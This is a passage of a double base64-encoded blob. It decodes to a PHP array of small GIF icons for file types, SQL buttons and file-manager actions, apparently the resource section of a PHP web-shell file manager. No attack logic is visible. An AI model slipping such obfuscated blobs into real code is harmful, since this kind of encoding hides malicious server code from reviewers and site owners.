UcGtBQTVJNnBnbVNrRHo1Y3VNU3o4eVdsQXlvQ1pGR2I0U1FLaEFTTUJYSnBNIi4NCiJ1U3JRRVF3a0dqWWtRQ1RBeTZBbFVNaFdrbFFCdzRNRWhnU0E2WFBnUnhTNWlpNDBLTEZnaTRCR1RFS0FzQ0tYaWhFU0N6cnNnU1FDIi4NCiJ5SWtVVitTcU9ZTENBNGNzQXVwODZPR0RrTnc0QnBRNE9hQkZnQjBURXlJVUtxRHdUUnM0YTl5TUNTT21EQm95WnU0c0pLQ2d3SURqIi4NCiJ5QXNva0JrUUFEcz0iLA0KIm11bHRpcGFnZSI9PiJSMGxHT0RsaENnQU1BSkVEQVAvLy8vLzNtUUFBQUFBQUFDSDVCQUVBQUFNQUxBQUFBQUFLQUF3QUFBSWozSVIiLg0KInBKaENPRG5vdmlkQW92QmRNenpraXhsWGRsSTJvWnBKV0VzU3l3THpSVUFBQU93PT0iLA0KInNvcnRfYXNjIj0+DQoiUjBsR09EbGhEZ0FKQUtJQUFBQUFBUC8vLzlUUXlJQ0FnUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQU9BQWtBQUFNYSIuDQoiU0xyY1BjRTlHS1VhUWxRNXNONVBsb0ZMSjM1T29LNnE1U1lBT3c9PSIsDQoic29ydF9kZXNjIj0+DQoiUjBsR09EbGhEZ0FKQUtJQUFBQUFBUC8vLzlUUXlJQ0FnUC8vL3dBQUFBQUFBQUFBQUNINUJBRUFBQVFBTEFBQUFBQU9BQWtBQUFNYiIuDQoiU0xyY09qQkNCNFVWSVRneUx0NWNoMm1nU0paREJpN3A2aElKQURzPSIsDQoic3FsX2J1dHRvbl9kcm9wIj0+DQoiUjBsR09EbGhDUUFMQVBjQUFBQUFBSUFBQUFDQUFJQ0FBQUFBZ0lBQWdBQ0FnSUNBZ01EQXdQOEFBQUQvQVAvL0FBQUEvLzhBL3dELyIuDQoiLy8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNd0FBWmdBQW1RQUF6QUFBL3dBekFBQXpNd0F6WmdBem1RQXp6QUF6L3dCbSIuDQoiQUFCbU13Qm1aZ0JtbVFCbXpBQm0vd0NaQUFDWk13Q1paZ0NabVFDWnpBQ1ovd0RNQUFETU13RE1aZ0RNbVFETXpBRE0vd0QvQUFELyIuDQoiTXdEL1pnRC9tUUQvekFELy96TUFBRE1BTXpNQVpqTUFtVE1BekRNQS96TXpBRE16TXpNelpqTXptVE16ekRNei96Tm1BRE5tTXpObSIuDQoiWmpObW1UTm16RE5tL3pPWkFET1pNek9aWmpPWm1UT1p6RE9aL3pQTUFEUE1NelBNWmpQTW1UUE16RFBNL3pQL0FEUC9NelAvWmpQLyIuDQoibVRQL3pEUC8vMllBQUdZQU0yWUFabVlBbVdZQXpHWUEvMll6QUdZek0yWXpabVl6bVdZenpHWXovMlptQUdabU0yWm1abVptbVdabSIuDQoiekdabS8yYVpBR2FaTTJhWlptYVptV2FaekdhWi8yYk1BR2JNTTJiTVptYk1tV2JNekdiTS8yYi9BR2IvTTJiL1ptYi9tV2IvekdiLyIuDQoiLzVrQUFKa0FNNWtBWnBrQW1aa0F6SmtBLzVrekFKa3pNNWt6WnBrem1aa3p6Smt6LzVsbUFKbG1NNWxtWnBsbW1abG16SmxtLzVtWiIuDQoiQUptWk01bVpacG1abVptWnpKbVovNW5NQUpuTU01bk1acG5NbVpuTXpKbk0vNW4vQUpuL001bi9acG4vbVpuL3pKbi8vOHdBQU13QSIuDQoiTTh3QVpzd0FtY3dBek13QS84d3pBTXd6TTh3elpzd3ptY3d6ek13ei84eG1BTXhtTTh4bVpzeG1tY3htek14bS84eVpBTXlaTTh5WiIuDQoiWnN5Wm1jeVp6TXlaLzh6TUFNek1NOHpNWnN6TW1jek16TXpNLzh6L0FNei9NOHovWnN6L21jei96TXovLy84QUFQOEFNLzhBWnY4QSIuDQoibWY4QXpQOEEvLzh6QVA4ek0vOHpadjh6bWY4enpQOHovLzltQVA5bU0vOW1adjltbWY5bXpQOW0vLytaQVArWk0vK1paditabWYrWiIuDQoielArWi8vL01BUC9NTS8vTVp2L01tZi9NelAvTS8vLy9BUC8vTS8vL1p2Ly9tZi8velAvLy95SDVCQUVBQUJBQUxBQUFBQUFKQUFzQSIuDQoiQUFnNEFQOEpSRUZRNEQrQ0NCT2k0TWF3SVRlRkNnL2lRaEVQeGNTQmxGQ29RNUZ4NE1TS3YxQmdSR0dNbzBpSkZDMmVoSGpTb010LyIuDQoiQVFFQU93PT0iLA0KInNxbF9idXR0b25fZW1wdHkiPT4NCiJSMGxHT0RsaENRQUtBUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4NCiIvLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU13QUFaZ0FBbVFBQXpBQUEvd0F6QUFBek13QXpaZ0F6bVFBenpBQXovd0JtIi4NCiJBQUJtTXdCbVpnQm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1ptUUNaekFDWi93RE1BQURNTXdETVpnRE1tUURNekFETS93RC9BQUQvIi4NCiJNd0QvWmdEL21RRC96QUQvL3pNQUFETUFNek1BWmpNQW1UTUF6RE1BL3pNekFETXpNek16WmpNem1UTXp6RE16L3pObUFETm1Nek5tIi4NCiJaak5tbVRObXpETm0vek9aQURPWk16T1paak9abVRPWnpET1ovelBNQURQTU16UE1aalBNbVRQTXpEUE0velAvQURQL016UC9aalAvIi4NCiJtVFAvekRQLy8yWUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpBR1l6TTJZelptWXptV1l6ekdZei8yWm1BR1ptTTJabVptWm1tV1ptIi4NCiJ6R1ptLzJhWkFHYVpNMmFaWm1hWm1XYVp6R2FaLzJiTUFHYk1NMmJNWm1iTW1XYk16R2JNLzJiL0FHYi9NMmIvWm1iL21XYi96R2IvIi4NCiIvNWtBQUprQU01a0FacGtBbVprQXpKa0EvNWt6QUprek01a3pacGt6bVprenpKa3ovNWxtQUpsbU01bG1acGxtbVpsbXpKbG0vNW1aIi4NCiJBSm1aTTVtWlpwbVptWm1aekptWi81bk1BSm5NTTVuTVpwbk1tWm5NekpuTS81bi9BSm4vTTVuL1pwbi9tWm4vekpuLy84d0FBTXdBIi4NCiJNOHdBWnN3QW1jd0F6TXdBLzh3ekFNd3pNOHd6WnN3em1jd3p6TXd6Lzh4bUFNeG1NOHhtWnN4bW1jeG16TXhtLzh5WkFNeVpNOHlaIi4NCiJac3labWN5WnpNeVovOHpNQU16TU04ek1ac3pNbWN6TXpNek0vOHovQU16L004ei9ac3ovbWN6L3pNei8vLzhBQVA4QU0vOEFadjhBIi4NCiJtZjhBelA4QS8vOHpBUDh6TS84elp2OHptZjh6elA4ei8vOW1BUDltTS85bVp2OW1tZjltelA5bS8vK1pBUCtaTS8rWlp2K1ptZitaIi4NCiJ6UCtaLy8vTUFQL01NLy9NWnYvTW1mL016UC9NLy8vL0FQLy9NLy8vWnYvL21mLy96UC8vL3lINUJBRUFBQkFBTEFBQUFBQUpBQW9BIi4NCiJBQWdqQVA4SlJFRlE0RCtDQ0JPaU1NaFFvY0tERUJjdWpFaVJvc1NCRmpGZW5PaHdZVUFBT3c9PSIsDQoic3FsX2J1dHRvbl9pbnNlcnQiPT4NCiJSMGxHT0RsaERRQU1BUGNBQUFBQUFJQUFBQUNBQUlDQUFBQUFnSUFBZ0FDQWdJQ0FnTURBd1A4QUFBRC9BUC8vQUFBQS8vOEEvd0QvIi4NCiIvLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU13QUFaZ0FBbVFBQXpBQUEvd0F6QUFBek13QXpaZ0F6bVFBenpBQXovd0JtIi4NCiJBQUJtTXdCbVpnQm1tUUJtekFCbS93Q1pBQUNaTXdDWlpnQ1ptUUNaekFDWi93RE1BQURNTXdETVpnRE1tUURNekFETS93RC9BQUQvIi4NCiJNd0QvWmdEL21RRC96QUQvL3pNQUFETUFNek1BWmpNQW1UTUF6RE1BL3pNekFETXpNek16WmpNem1UTXp6RE16L3pObUFETm1Nek5tIi4NCiJaak5tbVRObXpETm0vek9aQURPWk16T1paak9abVRPWnpET1ovelBNQURQTU16UE1aalBNbVRQTXpEUE0velAvQURQL016UC9aalAvIi4NCiJtVFAvekRQLy8yWUFBR1lBTTJZQVptWUFtV1lBekdZQS8yWXpBR1l6TTJZelptWXptV1l6ekdZei8yWm1BR1ptTTJabVptWm1tV1ptIi4NCiJ6R1ptLzJhWkFHYVpNMmFaWm1hWm1XYVp6R2FaLzJiTUFHYk1NMmJNWm1iTW1XYk16R2JNLzJiL0FHYi9NMmIvWm1iL21XYi96R2IvIi4NCiIvNWtBQUprQU01a0FacGtBbVprQXpKa0EvNWt6QUprek01a3pacGt6bVprenpKa3ovNWxtQUpsbU01bG1acGxtbVpsbXpKbG0vNW1aIi4NCiJBSm1aTTVtWlpwbVptWm1aekptWi81bk1BSm5NTTVuTVpwbk1tWm5NekpuTS81bi9BSm4vTTVuL1pwbi9tWm4vekpuLy84d0FBTXdBIi4NCiJNOHdBWnN3QW1jd0F6TXdBLzh3ekFNd3pNOHd6WnN3em1jd3p6TXd6Lzh4bUFNeG1NOHhtWnN4bW1jeG16TXhtLzh5WkFNeVpNOHlaIi4NCiJac3labWN5WnpNeVovOHpNQU16TU04ek1ac3pNbWN6TXpNek0vOHovQU16L004ei9ac3ovbWN6L3pNei8vLzhBQVA4QU0vOEFadjhBIi4NCiJtZjhBelA4QS8vOHpBUDh6TS84elp2OHptZjh6elA4ei8vOW1BUDltTS85bVp2OW1tZjltelA5bS8vK1pBUCtaTS8rWlp2K1ptZitaIi4NCiJ6UCtaLy8vTUFQL01NLy9NWnYvTW1mL016UC9NLy8vL0FQLy9NLy8vWnYvL21mLy96UC8vL3lINUJBRUFBQkFBTEFBQUFBQU5BQXdBIi4NCiJBQWd6QUZFSUhFaXdvTUdEQ0JINlcwZ3RvVUIvLzFCRU5PaVAyc0tFQ3pOZU5JaXFZMGQvRkJmK3kwalI0OGVRR1VjNkpCZ1FBRHM9IiwNCiJ1cCI9Pg0KIlIwbEdPRGxoRkFBVUFMTUFBQUFBQVAvLy8vajQrT1BqNDkzZDNjek16TEt5c29hR2hrMU5UZi8vL3dBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQ0g1QkFFQUFBa0FMQUFBQUFBVUFCUUFBQVIwTU1sSnE3MzRuczFQbmtjZ2pnWHdoY05RcklWaG1Gb256eHdRam5pZTI3amciLg0KIis0UWd5M1hnQlg0SW9IRGxNaFJ2Z2dGaUdpU3dXczVYeURmdFdwbEVKKzlIUUN5eDJjMVlFRFJmd3dmeHRvcDRwNTNQd0xLT2p2dlYiLg0KIklYdGRnd2dkUEdkWWZuZzFJVmVKYVRJQWtwT1VsWllmSHhFQU93PT0iLA0KIndyaXRlIj0+DQoiUjBsR09EbGhGQUFVQUxNQUFBQUFBUC8vLzkzZDNjek16TEt5c29hR2htWm1abDlmWHdRRUJQLy8vd0FBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFDSDVCQUVBQUFrQUxBQUFBQUFVQUJRQUFBUjBNTWxKcXl6RmFscUVRSnVHRVFTQ25XZzZGb2dwa0hBTUY0SEFKc1doNy96ZSIuDQoiRVFZUUxVQXNHZ00wV3d0M2JDSmZRU0Z4MTB5eUJsSm44UmZFTWdNOVgrM3FIV3E1aUVENXlDc01DbDExMWtuRHB1WGZZbHMrSUs2MSIuDQoiTFhkK1dXRUhMVWQvVG9KRlpRT09qNUNSamlDQmxaYVhJQkVBT3c9PSIsDQoiZXh0X2FzcCI9Pg0KIlIwbEdPRGRoRUFBUUFMTUFBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ01EQXdJQ0FnUDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLg0KIi8vLy8veXdBQUFBQUVBQVFBQUFFU3ZESVNhc0YyTjZETU5BUzhCeGZsMVVpT1pZZTlhVXdncERUcTZxUC9JWDBPejdBWFUvMWVSZ0kiLg0KIkQ2SFBoempTZUxZZFlhYnNEQ1dNWndoZzNXV3RLSzRRck1Ib2hDQVMraEFCQURzPSIsDQoiZXh0X21wMyI9Pg0KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy80Q0FnTURBd0lDQUFQLy9BQUFBQUFBQUFBTlUiLg0KImFHclM3aXVLUUdzWUlxcHA2UWlaUkRRV1lBSUxRUVNBMmcybzRRb0FTSEd3dkJiQU4zR1gxcVhBK3IxYUJRSFJaSE1FRFNZQ3ozZmMiLg0KIklHdEdUOHdBVXdsdHp3V05XUlYzTERueFlNMXViNkduZUR3QkFEcz0iLA0KImV4dF9hdmkiPT4NCiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vNENBZ01EQXdQOEFBQUFBQUFBQUFBQUFBQU5NIi4NCiJXRnJTN2l1S1FHc1lJcXBwNlFpWjFGRkFDWWlqQjRSTXFqYlkwMUR3V2c0NGdBc3JQNVFGazI0SHVPaE9ESndTVS9JaEJZVGNqeGU0Ii4NCiJQWVhDeWcrVjJpNDRYZVJtU2ZZcXNHaEFBZ0E3IiwNCiJleHRfY2dpIj0+DQoiUjBsR09EbGhFQUFRQUdZQUFDSDVCQUVBQUV3QUxBQUFBQUFRQUJBQWhnQUFBSnRxQ0hkM2Q3aU5HYStITXU3ZXI5R2lDNitJT091OSIuDQoiRGtKQVBxeUZRcWwvTi9EbGhzeXlmZTY3QWYvU0ZQLzhrZi85bEQ5RVR2L1BDdi9jUS8vZU52L1hJZi9aS1AvUkR2L2JMZi9jTWFoNiIuDQoiTFBQWVJ2emdSK3ZneDd5Vk12L2xVdi9tVHYvZk9mL01Bdi9tY2YvTkEvL3FpZi9NQVAvVEZmL3hwN3VaVmYvV0lQL09CcXQvSHYvUyIuDQoiRXYvaFArN09PUC9XSHYvd2JITmZQNFZ6Vjd1UEZ2L3BWLy9yWGYveWNmL3pkdi8wZVVOSldFTktXc3lrSWs5UldNeXRQLy80aUVwUSIuDQoiWHYvOXFmYnB0UC91WjkzR2lOcTZYV3BSSi8vaVF2N3dzcXVFUXYvalJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWVlZ0V5Q2cwd0JoSWVIQVlxSWpBRXdob3lFQVFRWEJKQ1JoUU11QTVlU2lvb0dJd2FmaTRVTSIuDQoiQmFnTkZCTWNEUjRGUXd3QkFnRUdTQkJFRlN3eE5oQXlHZzZXQWt3Q0JBZ3ZGaVVpT0JFZ05VYzd3NElDTkQ4UEtDRkFPaTBKUE5LRCIuDQoiQWtVbkdUa1JOd01TMzRNQkpCZ2RSa0pMQ0Q3cWdnRVBLeHNKS2lZVEJ3ZUpramhRa2s3QWh4UTlGcWdMTUdCR2tHOEtGQ2c4SktBaSIuDQoiUll0TUFnRUFPdz09IiwNCiJleHRfY21kIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFjQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzRDQWdNREF3QUFBZ0lDQUFQLy9BQUFBQUFOSSIuDQoiZUxyY0p6REtDWWU5K0FvZ0J2bGcrRzJkU0FRQWlwSUQ1WEpESU0rMHpOSkZrZEwzREJnNkhteFdNRUFBaFZsUEJoZ1lkclloRFFDTiIuDQoiZG1yWUFNbjFvbnEvWUtwanZFZ0FBRHM9IiwNCiJleHRfY3BwIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWd2Ly8vd0FBQUFBQWdJQ0FnTURBd0FBQUFBQUFBQUFBQUFOQyIuDQoiV0xQYzlYQ0FTU2NaOE1sS2ljb2JCd1JrRUlrVllXcVQ0RklDb0o1djdjNnMzY3FyQXJ3aW5FLzM0OUZpTm9GdzQ0cnRscWhPTDRSYSIuDQoiRXE3WXJMREU3YTRTQURzPSIsDQoiZXh0X2luaSI9Pg0KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy84REF3SUNBZ0lDQUFQLy9BQUFBQUFBQUFBTkwiLg0KImFBckIzaW9hTmtLOU1OYkhzNmxCS0lvQ29JMW9VSjRONERDcXFZQnB1TTZocThQM2h3b0VnVTNtYXdFTEJFYVBGaUFVQU1nWXkzVk0iLg0KIlNuRWpnUFZhckhFSGdyQjQzSnZzenNRRUFEcz0iLA0KImV4dF9kaXoiPT4NCiJSMGxHT0RsaEVBQVFBSGNBQUNINUJBRUFBSlVBTEFBQUFBQVFBQkFBaHdBQUFQLy8vMTVwaGNmYjZOTHMvN1BjLytQMC8zSitsOWJzIi4NCiIvNTJudXFqSzUvbi8vL2ovLy83Ly8vci8vMHRybHNQbi84bm4vOG5aNXRybTc5bnUvOC9xLzlYdC85encvOTN3LytqMS85SHIvK0R2Ii4NCiIvZDd2LzczSDBNalUzOXp1Lzlici84bmU4dFhuK0s2L3o4WGovTGpWN2REcC82SzR5OGJsLzVPNDJPejIvN0hXOUp1OTJ1LzkvOFQzIi4NCiIvK0wvLys3Ky8rdjYvKy82LzlINC8rWDYvK1hsNVB6Ly8rL3Q3ZlgwOHZELy8rMy8vL1AvLy9ILy8vUDcvOG5xLzhmcC84VGw5OHpyIi4NCiIvKy96OXZUNCsrbjEvYi9rL2RueS85SHYvK3Y0LzkvMC85ZncvOC91Lzh2dC8rLzA5eFV2WGhRdFc0S1RzMlYxa3c0b1ZUZFlwRFpYIi4NCiJwVnhxaGx4cWlFeGtpbUtCdE1QTDJGdHZqMk9WNmFPdXdwcWx1bHlOM2NuTzF3QUFYUUFBWlNNOGpFNVhqZ0FBYndBQWVVUkJZZ0FBIi4NCiJkQUFBZHpaRWFFOXd3RFpZcG1WdmlSNDlqRzEya0NoRm1nWXVqNisxeGVMbjdOemo2cG0yMG9lcXlwUzIxMlNKcmFDeXhaV3l6N1BXIi4NCiI5Yy9vLzg3bi84RFg3TUhZN3EvSzVMZlg5YXJCMXNybC8yK2Z6cTI5MFUxNHE3ZkN6NmUyeVh1bTMwRmpsQ2xIYzRlWHI2YkkrYlRLIi4NCiI0cmZXK05YZTZPYnkvNVN2eldTSHIrYnI4V3VLclFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4NCiJBQWpnQUNzSnJEUkhTSUNEUTdJTVhEZ0p4OEV2WnVJY2JQQm9vWndiQndPTUFmTW1Zd0JDQTJzRWNOQmpKQ01ZQVRMSU9MaW9rb2NtIi4NCiJDMVFza0FDbEN4Y0dCajdFc05Ib1FBY2lTQ0MxbU5BbWpKZ0dHRUJRb0JIaWdLRU5CamhjQ0JBSXpSb0dGa3dRTU5LbnlnZ1JTUkFnIi4NCiIyQkhwREJVZWV3UlYwUERIQ3A0QlNnancwWkdIekpRY0VWRDRJRUhKellrQmZvNHNlWUdsREJ3Z1RDQUFZdkZFNEtFQkpZSTRVclBGIi4NCiJDeUlJSyt3b1lqTXdRUUk2Q29yOG1LRW54UjBuQWhZS2pISkZRWUVDa3FTa1NhMTY0SU02TGhMUnJyM3d3YUJDdTNrUEZLQ2xka0FBIi4NCiJPdz09IiwNCiJleHRfZG9jIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzhEQXdBQUEvNENBZ0FBQUFBQUFBQUFBQUFOUiIuDQoiV0VyY3JyQ1FRQ3NsUUEyd093ZFhrSUZXTlZCQStubWU0QVpDdW9sblJ3a3dGOVFnRU9QQUZHMjFBK1o0c1FITzk0cjFlSlJUSlZtcSIuDQoiTUlPcnJQU1dXWlJjemE2a2FvbEJDT0IwV294UnVkMEpBRHM9IiwNCiJleHRfZXhlIj0+DQoiUjBsR09EbGhFd0FPQUtJQUFBQUFBUC8vL3dBQXZjYkd4b1NFaFAvLy93QUFBQUFBQUNINUJBRUFBQVVBTEFBQUFBQVRBQTRBQUFNNyIuDQoiV0xUY1RpV1NRYXV0QkVRMWhQK2dsMjFUS0FRQWlvN1M4THhhRzh4MFBiT2NyUWY0dE51OXdhOFdITktLUmw0c2wreTlZQnVBZEVxdCIuDQoieGhJQU93PT0iLA0KImV4dF9oIj0+DQoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWd2Ly8vd0FBQUFBQWdJQ0FnTURBd0FBQUFBQUFBQUFBQUFOQiIuDQoiV0xQYzlYQ0FTU2NaOE1sS0NjQVJSd1ZrRUFLQ0lCS21OcVZycTd3cGJNbWJiYk9ucmdJOEYrcTN3OUdPUU9NUUdaeUpPc3BuTWtLbyIuDQoiV3EvTmtuYmJTZ0FBT3c9PSIsDQoiZXh0X2hwcCI9Pg0KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFndi8vL3dBQUFBQUFnSUNBZ01EQXdBQUFBQUFBQUFBQUFBTkYiLg0KIldMUGM5WENBU1NjWjhNbEtpY29iQndSa0VBR0NJQUtFcWFGcXBiWm5tazQyL2Q0M3lyb0ttTEFEbFBCaXM2THdLTkFGajdqZmFXVlIiLg0KIlVxVWFnbmJMZFphK1lGY0NBRHM9IiwNCiJleHRfaHRhY2Nlc3MiPT4NCiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVlBTEFBQUFBQVFBQkFBZ2dBQUFQOEFBUDhBL3dBQWdJQUFnUC8vQUFBQUFBQUFBQU02Ii4NCiJXRVhXL2s2UkFHc2ptRm9ZZ05CYkV3akRCMjVkR1p6VkNLZ3NSOExoU25wclBRNDA2cGFmbWtEd1V1bUl2SkJvUkFBQWxFdURFd3BKIi4NCiJBQUE3IiwNCiJleHRfaHRtbCI9Pg0KIlIwbEdPRGxoRXdBUUFMTUFBQUFBQVAvLy8ydHJuTTNQL0ZCVmhyUE85bDZJdG95dDB5aGdrK1h5L1dHcDRzWGwvaTZaNG1mZC9ITnoiLg0KImMvLy8veUg1QkFFQUFBOEFMQUFBQUFBVEFCQUFBQVNUOE1sM3FxMW02bm1DLzRHaGJGb1hKRU8xQ0FORFNvY2lHa2JBQ0hpMjBVM1AiLg0KIktJRkdJakFRT0RTaUJXTzVOQXhSUm1UZ2dEZ2ttTTdFNmlpcEhaWUtCVk5RU0JTaWt1a1N3VzRqeW1jdXBZRmdJQnFML01LOEtCRGsiLg0KIkJreDJCWFdEZlg4VEREYUZEQTBLQkFkOWZuSUtIWFlJQkpnSEJRT0hjZytWQ2lrVkE1d0xwWWdiQkt1ckRxeXNueE1PczdTMXN4SVIiLg0KIkFEcz0iLA0KImV4dF9qcGciPT4NCiJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWtBTEFBQUFBQVFBQkFBZ3dBQUFQLy8vOERBd0lDQWdJQ0FBUDhBQUFEL0FJQUFBQUNBIi4NCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSY2NNaEprNzBqNkszRnVGYkdiVUx3SmNVaGpnSGdBa1VxRWdKTkVFQWd4RWNpIi4NCiJDaThBTHNBTGFYQ0dKSzVvMUFHU0JzSUFjQUJnamdDRXdBTUVYcDBCQk1MbC9BNng1V1p0UGZRMmc2KzBqOFZ4KzdiNC9OWnFnZnRkIi4NCiJGeEVBT3c9PSIsDQoiZXh0X2pzIj0+DQoiUjBsR09EZGhFQUFRQUNJQUFDd0FBQUFBRUFBUUFJTC8vLzhBQUFDQWdJREF3TUQvL3dDQWdBQUFBQUFBQUFBRFVDaTYzQ0VneGliSCIuDQoiazBBUXNHMjAwQVFVSkJnQW9NaWhqNWRtSXhuTUp4dHFxMWRkRTBFV09oc0cxNm05TW9vQWlTV0VtVGl1QzRUdzJCQjBMOEZnSUFocyIuDQoiYTAwQWpZWUJiYy9vOUhqTm5pVUFBRHM9IiwNCiJleHRfbG5rIj0+DQoiUjBsR09EbGhFQUFRQUdZQUFDSDVCQUVBQUZBQUxBQUFBQUFRQUJBQWhnQUFBQUJpQUdQTE1tWE1NMHkvSmxmRkxGUzZLMXJHTFdqTyIuDQoiTlNtdUZUV3pHa0M1SUczVE9vLzFYRTdBSngyb0Q1WDdZb1RxVVlyd1YzL2xUSFRhUVhuZlJtREdNWVhyVWpLUUh3QU1BR2ZOUkh6aSIuDQoiVXd3NUNBQXFBRE9aR2thc0xYTFlRZ2hJQkJOM0RWRzJOV25QUm5EV1J3Qk9BQjV3RlFCQkFBQStBRkczTkFrNUJTR0hFVXF3TUFCayIuDQoiQUFBZ0FBQXdBQUJmQURlMEd4ZUxDeFpjREVLNklVdXhLRmpGTEUzQUoySEhNUktpQ1FXQ0FnQm1BQnB0RGcrSENCWmVEQXFGQldERyIuDQoiTXltVUZRcFdCajJmSmhkdkRRaE9CQzZYRjNmZFIwTzZJUjJPRHdBWkFIUFpRQ1NSRWdBU0FEYVhId0FBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuDQoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWVaZ0ZCUVBBR0Zob2NBZ29JN09nOEpDZ3NFQlFJV1BRQ0pna0NPa0pLVVA1ZVlVRDZQa1pNNSIuDQoiTktDS1VETXlOVGczQWdnMlM1ZXFVRXBKRGdjRENBeE1UMDZoZ2syNnZBd1VGVWhEdFlwQ3V3WkJ5Qk1SUk15Q1J3TUdSa1VnMHhJZiIuDQoiMWxBZUJpRUFHUmdYRWcwdDRTd3JvQ1lsRFJBbjRTbXBLQ29RSkMvaHFWQXVOR3pnOEU5UktCRWpZQlMwSlNoR2g0VU1vWUFTQmlVUSIuDQoiQURzPSIsDQoiZXh0X2xvZyI9Pg0KIlIwbEdPRGxoRUFBUUFETUFBQ0g1QkFFQUFBZ0FMQUFBQUFBUUFCQUFnLy8vL3dBQUFNREF3SUNBZ0lDQUFBQUFnQUFBLy8vL0FBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRRUtFd0s2VXlCekM0NzVnRUFsdEprbExSQVd6YkNsUmhySzRMeTV5Zzcvd04iLg0KInpMVWFMR0JRQlYyRWdGTFY0eEVPU1NXdDlnUVFCcFJwcXhvVk5hUEtrRmI1RWgvTG1VR3pGNXFFMytFTUlnSUFPdz09IiwNCiJleHRfcGhwIj0+DQoiUjBsR09EbGhFQUFRQUFBQUFDSDVCQUVBQUFFQUxBQUFBQUFRQUJBQWdBQUFBQUFBQUFJbURBNmh5NXJXMEhHb3NmZnNkVHBxdkZsZyIuDQoidDBoa3laM1E2cWxvWjdKaW1vbVZFYit1WEFBQU93PT0iLA0KImV4dF9wbCI9Pg0KIlIwbEdPRGxoRkFBVUFLTC9BUC80LzhEQXdIOS9BUC80QUwrL3Z3QUFBQUFBQUFBQUFDSDVCQUVBQUFFQUx